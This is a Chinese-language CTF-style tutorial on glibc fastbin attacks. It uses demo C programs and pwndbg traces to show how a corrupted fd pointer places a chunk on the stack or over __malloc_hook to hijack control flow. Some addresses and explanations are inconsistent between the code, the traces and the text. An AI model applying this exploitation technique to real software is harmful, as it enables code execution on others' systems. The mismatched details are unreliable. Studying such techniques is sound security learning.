Alloc_to_Stack&Arbitary Alloc

AFttack Alloc_to_Stack 概述

Alloc_to_Stack&Arbitary Alloc(栈分配&任意地址分配) 如果你已经理解了 Fastbin Double Free 和 house of spirit 技术，那么理解该技术就不成问题了。他们的本质都在于 fastbin 链表的特性：当前 chunk 的 fd 指针指向下一个 chunk。

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针，把 fd 指针指向我们想要分配的栈上，从而实现控制栈中的一些关键数据，比如返回地址等。

Alloc_to_Stack 利用过程

这次我们把 fake_chunk 置于栈中称为 stack_chunk，同时劫持了 fastbin 链表中 chunk 的 fd 值，通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct_chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
    CHUNK stack_chunk;

    void *chunk1;
    void *chunk_a;

    stack_chunk.size=0x21;
    chunk1=malloc(0x10);

    free(chunk1);
    *(long long *)chunk1=&stack_chunk;
    //此时fastbin->chunk1->stackchunk
    malloc(0x10);
    chunk_a=malloc(0x10);
    return 0;
}

还是基本的 Fastbin Attack 利用，首先创建一个堆然后释放掉，free 后修改 chunk1 的 fd 指针；通过 malloc(0x10)再次取出 chunk1，然后在进行 malloc(0x10)取出的就是 stack_chunk 了。由于 gdb 调试和之前的步骤几乎一样，就不再演示 pwndbg 调试了。

总结一下：通过该技术我们可以把 fastbin chunk 分配到栈中，从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域，把它指到栈上，同时需要栈上存在有满足条件的 size 值。

Arbitary Alloc 概述

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的，唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域（这个 size 域是构造的，还是自然存在的都无妨），我们可以把 chunk 分配到任意的可写内存中，比如 bss、heap、data、stack 等等。

Arbitary Alloc 利用过程

在这个例子，我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置，相当于覆盖_malloc_hook 来控制程序流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void)
{
    void *chunk1;
    void *chunk_a;

    chunk1=malloc(0x60);

    free(chunk1);

    *(long long *)chunk1=0x7ffff7bc4b0b-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    return 0;
}
//反正也没什么好说的，就是Alloc_to_stack示例的延伸

这个我们用 pwngdb 调试一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x40056e <main+8>     mov    edi, 0x60     EDI => 0x60
   0x400573 <main+13>    call   malloc@plt                  <malloc@plt>
 
   0x400578 <main+18>    mov    qword ptr [rbp - 8], rax
   0x40057c <main+22>    mov    rax, qword ptr [rbp - 8]
   0x400580 <main+26>    mov    rdi, rax
   0x400583 <main+29>    call   free@plt                    <free@plt>
 
   0x400588 <main+34>    mov    rax, qword ptr [rbp - 8]
   0x40058c <main+38>    movabs rdx, 0x7ffff7dd1aed          RDX => 0x7ffff7dd1aed
   0x400596 <main+48>    mov    qword ptr [rax], rdx
   0x400599 <main+51>    mov    edi, 0x60                    EDI => 0x60
   0x40059e <main+56>    call   malloc@plt                  <malloc@plt>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> info local
chunk1 = 0x0
chunk_a = 0x7fffffffdfd0
pwndbg>

这个时候 chunk_a 指向 0x7fffffffdfd0 地址，我们继续单步执行到 free(chunk1);之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
b+ 0x40056e <main+8>     mov    edi, 0x60     EDI => 0x60
   0x400573 <main+13>    call   malloc@plt                  <malloc@plt>
 
   0x400578 <main+18>    mov    qword ptr [rbp - 8], rax     [0x7fffffffdee8] <= 0x602010 ◂— 0
 ► 0x40057c <main+22>    mov    rax, qword ptr [rbp - 8]     RAX, [0x7fffffffdee8] => 0x602010 ◂— 0
   0x400580 <main+26>    mov    rdi, rax                     RDI => 0x602010 ◂— 0
   0x400583 <main+29>    call   free@plt                    <free@plt>
 
   0x400588 <main+34>    mov    rax, qword ptr [rbp - 8]
   0x40058c <main+38>    movabs rdx, 0x7ffff7dd1aed          RDX => 0x7ffff7dd1aed
   0x400596 <main+48>    mov    qword ptr [rax], rdx
   0x400599 <main+51>    mov    edi, 0x60                    EDI => 0x60
   0x40059e <main+56>    call   malloc@plt                  <malloc@plt>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x602070
Size: 0x20f90 (with flag bits: 0x20f91)

pwndbg> info local
chunk1 = 0x602010
chunk_a = 0x7fffffffdfd0

此时可以看到申请的对空间 data 地址已经赋值给了 chunk1 指针。ni 执行 free(chunk1)；

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
►  0x400588 <main+34>    mov    rax, qword ptr [rbp - 8]     RAX, [0x7fffffffdee8] => 0x602010 ◂— 0
   0x40058c <main+38>    movabs rdx, 0x7ffff7dd1aed          RDX => 0x7ffff7dd1aed
   0x400596 <main+48>    mov    qword ptr [rax], rdx         [0x602010] <= 0x7ffff7dd1aed
   0x400599 <main+51>    mov    edi, 0x60                    EDI => 0x60
   0x40059e <main+56>    call   malloc@plt                  <malloc@plt>
 
   0x4005a3 <main+61>    mov    edi, 0x60                    EDI => 0x60
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bins
fastbins
0x70: 0x602000 ◂— 0
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x602000
Size: 0x70 (with flag bits: 0x71)
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x602070
Size: 0x20f90 (with flag bits: 0x20f91)

pwndbg> info local
chunk1 = 0x602010
chunk_a = 0x7fffffffdfd0

在说明下一行代码之前，先来说说代码错位的情况。由于这个程序的本意是控制 __malloc_hook，（__malloc_hook 是 glibc运行时库提供的一个全局函数指针变量，允许用户在malloc调用时插入自定义代码。）所以我们先找到它的地址：

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx  &__malloc_hook
0x7ffff7bc4b10  <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b20:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b30:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b40:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b50:	0x0000000000602000	0x0000000000000000
0x7ffff7bc4b60:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b70:	0x0000000000000000	0x0000000000602070
0x7ffff7bc4b80:	0x0000000000000000	0x00007ffff7bc4b78

想要控制 __malloc_hook 地址，就要先找到合法的 size 域，在地址 0x7ffff7bc4b10 向前找：

1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x7ffff7bc4b10-0x30
0x7ffff7bc4ae0:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4af0:	0x00007ffff7bc3260	0x0000000000000000
0x7ffff7bc4b00 <__memalign_hook>:	0x00007ffff7885ea0	0x00007ffff7885a70
0x7ffff7bc4b10 <__malloc_hook>:	    0x0000000000000000	0x0000000000000000
0x7ffff7bc4b20:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b30:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b40:	0x0000000000000000	0x0000000000000000
0x7ffff7bc4b50:	0x0000000000602000	0x0000000000000000

由于这个程序是 64 位的，因此 fastbin 的范围为 32 字节到 128 字节（0x20-0x80）如下：

1
2
3
4
5
6
7
8
//这里的size指用户区域，因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个 0x000000000000007f

错位构造

这里解释一下上文的错位构造

1
2
__malloc_hook 地址: 0x7ffff7bc4b10
我们想要malloc返回这个地址

我们不可以直接让 fastbin 指向 0x7ffff7bc4b10，因为glibc会检查第一个字段是size，

0x7ffff7dd1b10 处的值可能是0或其他值，不是合法的fastbin size。

1
2
3
4
内存地址               数据（小端序）                 说明
0x7ffff7bc4b08:    0x07 0xa5 0x88 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7bc4b10:    0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7bc4b10 :    __malloc_hook 实际值

如果把 0x7ffff7bc4b0b 视为一个 chunk 的起始地址0x7f 0x00 0x00 0x00 0x00 0x00 0x00 0x00，正好是地址 0x000000000000007f

把他当作一个堆，-0x08 可以修改 size 域

因为 0x7f 在计算 fastbin index 时，是属于 index 5 的，即 chunk 大小为 0x70 的。

1
2
##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

由于堆内存还有 0x10 的 chunk_header，所以我们分配 0x60 的 fastbin 就可以了，并将其加入链表。最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd，因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
   0x400580 <main+26>    mov    rdi, rax                     RDI => 0x602010 ◂— 0
   0x400583 <main+29>    call   free@plt                    <free@plt>
 
   0x400588 <main+34>    mov    rax, qword ptr [rbp - 8]     RAX, [0x7fffffffdee8] => 0x602010 ◂— 0
   0x40058c <main+38>    movabs rdx, 0x7ffff7dd1aed          RDX => 0x7ffff7dd1aed
   0x400596 <main+48>    mov    qword ptr [rax], rdx         [0x602010] <= 0x7ffff7dd1aed
 ► 0x400599 <main+51>    mov    edi, 0x60                    EDI => 0x60
   0x40059e <main+56>    call   malloc@plt                  <malloc@plt>
 
   0x4005a3 <main+61>    mov    edi, 0x60                    EDI => 0x60
   0x4005a8 <main+66>    call   malloc@plt                  <malloc@plt>
 
   0x4005ad <main+71>    mov    qword ptr [rbp - 0x10], rax
   0x4005b1 <main+75>    mov    eax, 0                          EAX => 0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000071
0x602010:	0x00007ffff7dd1aed	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
-------------------------------------------------------------------------------------------------------------------------------------
pwndbg> bins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

fastbins
0x70: 0x602000 ◂— 0x7ffff7dd1aed

从 fastbin 中可以看出，如果进行两次 malloc 的话 1：第一次 malloc 使用空间0x602000，第二次 malloc 使用空间0x7ffff7dd1aed，此时堆内存就分配到了栈上，并且可以继续向下延伸控制占空间。

malloc_hook 攻击

篡改 __malloc_hook 函数指针，让 malloc 执行攻击者代码。

1
2
3
4
// glibc的malloc首先检查这个钩子
if (__malloc_hook != NULL) {
    return __malloc_hook(size, caller);  // 如果被修改，就执行攻击代码
}

利用堆漏洞修改__malloc_hook函数指针，下次调用malloc时就能执行任意代码（如获得shell）。

Arbitrary Alloc 总结

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验，实现任意地址分配 chunk，最后的效果也就相当于任意地址写任意值。

更新: 2026-02-07 23:07:39
原文: https://www.yuque.com/idcm/wnemg9/ztqmruey39vglzel